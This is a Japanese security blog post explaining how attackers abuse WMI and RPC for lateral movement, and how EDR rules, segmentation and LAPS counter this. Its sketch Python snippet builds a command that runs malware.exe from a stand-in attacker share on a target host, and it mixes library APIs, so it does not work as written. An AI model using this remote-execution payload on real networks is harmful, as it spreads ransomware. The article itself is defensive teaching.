境界防御の盲点:WMIとRPCが悪用される「正規の悪夢」を解剖する
ネットワークエンジニアの皆さん、お疲れ様。DMZのファイアウォールをガチガチに固め、IDS/IPSをチューニングし、「うちは境界防御が完璧だ」と胸を張っているそこのあなた。少し耳の痛い話をしよう。
ランサムウェアの攻撃者は、もはや派手なゼロデイ脆弱性ばかりを探しているわけじゃない。彼らが最も愛するのは、管理者である我々が日々の運用で便利に使っている「管理用プロトコル」そのものだ。その代表格が WMI (Windows Management Instrumentation) と、それを支える RPC (Remote Procedure Call) である。
今日は、なぜ彼らが 135 や 445 ポート越しに組織内を蹂躙できるのか、その「正規の機能が悪用されるメカニズム」を深掘りしていく。
—
1. なぜ「正規の機能」が凶器になるのか
WMIは、Windows OSの管理、モニタリング、設定変更をリモートから行うための強力なインターフェースだ。これを悪用すれば、攻撃者は感染端末から横展開(Lateral Movement)を行い、標的のPCで遠隔コマンドを実行できる。
厄介なのは、これが「Windowsの仕様」であるという点だ。パケット解析ツールで覗いてみればわかるが、攻撃者が送り込むのは異常なデータではない。認証が通れば、それはOSから見れば「管理者による正当な操作」と区別がつかないのだ。
攻撃のシーケンス(簡略化版)
1. 接続 (RPC): 攻撃者は標的の 135 ポート(RPCエンドポイントマッパー)に接続し、WMIサービスが待機している動的ポート番号を特定する。
2. 認証 (SMB/NTLM/Kerberos): 445 ポート経由でSMBセッションを確立し、認証をパスする。
3. 実行 (WMI): Win32_Process.Create メソッドを呼び出し、ランサムウェアのバイナリや難読化されたPowerShellスクリプトを遠隔起動させる。
—
2. 実務で見る「遠隔起動」のコード実例
攻撃者が Python の impacket ライブラリのようなツールを使って、実際にどのようなロジックでプロセスを叩いているのか、その裏側を見てみよう。もちろん、これは「防御のための理解」として読んでほしい。
# 攻撃者が利用するロジック(概念実証用)
from impacket.dcerpc.v5 import wmi
from impacket.examples.utils import parse_target
# 標的の管理権限を持つ認証情報とターゲットを指定
# 実際はここでNTLMハッシュやKerberosチケットが使用される
target_ip = "192.168.1.50"
cmd = "C:\\Windows\\System32\\cmd.exe /c start \\\\attacker-srv\\share\\malware.exe"
# WMI接続を確立し、プロセスを作成する
# Win32_ProcessクラスのCreateメソッドを叩くのが定石
def execute_remote_cmd(target, command):
# DCOM経由でWMI名前空間へ接続
# 実際の実装ではRPCのハンドシェイクが複雑に行われる
wmi_service = wmi.WMI(target, username='admin', password='password')
process = wmi_service.Win32_Process()
# 遠隔実行の実行
result, pid = process.Create(CommandLine=command)
if result == 0:
print(f"成功: プロセスPID {pid} で実行されました")
else:
print(f"失敗: エラーコード {result}")
# このコードが通ってしまう環境は、既に終わっていると認識すべきだ
—
3. 防御の最前線:泥臭い現場の対策
「境界防御は意味がないのか?」と聞かれれば、そんなことはない。ただし、アプローチを変える必要がある。ゼロトラストの観点から、以下の3点を徹底してほしい。
① WMI/RPC通信の可視化とセグメンテーション
135/445 ポートは、ドメイン環境であれば「ドメインコントローラとクライアント間」以外では原則不要だ。VLAN間の通信を ACL や Micro-segmentation で厳格に制御し、不用意な横移動を物理的に遮断せよ。
② 不審なプロセス起動の検知 (EDRの活用)
WMI経由で実行されるプロセスには、親プロセスに WmiPrvSE.exe が現れるという特徴がある。EDRのルール設定で、以下の条件を監視対象にすることをお勧めする。
- 親プロセス:
WmiPrvSE.exe - 子プロセス:
powershell.exe,cmd.exe,scrcons.exe - 引数:
encodedcommand,hidden,bypassなどの難読化フラグ
③ 認証の強化(LAPSの導入)
攻撃者が横展開できるのは、感染した端末に「ドメイン管理者」の認証情報がメモリ上に残っているからだ。Microsoft LAPS (Local Administrator Password Solution) を導入し、各端末のローカル管理者パスワードを個別にランダム化せよ。これだけで、ある一台が突破された時の被害拡大を防げる。
—
最後に:エンジニアとしての矜持
ネットワークセキュリティの世界では、魔法のような銀の弾丸(Silver Bullet)は存在しない。あるのは、地道な設定の積み重ねと、パケットに対する嗅覚だけだ。
「これくらい動いていて当たり前」と思っているポートこそ、攻撃者の高速道路だ。今日からでもいい、自社のネットワークで 135 や 445 を誰が・どこへ投げているか、一度ログを突き合わせてみてほしい。その先には、思ってもみなかった「不要な通信」の山が見つかるはずだ。
セキュリティは、技術ではなく「規律」だ。健闘を祈る。
コメント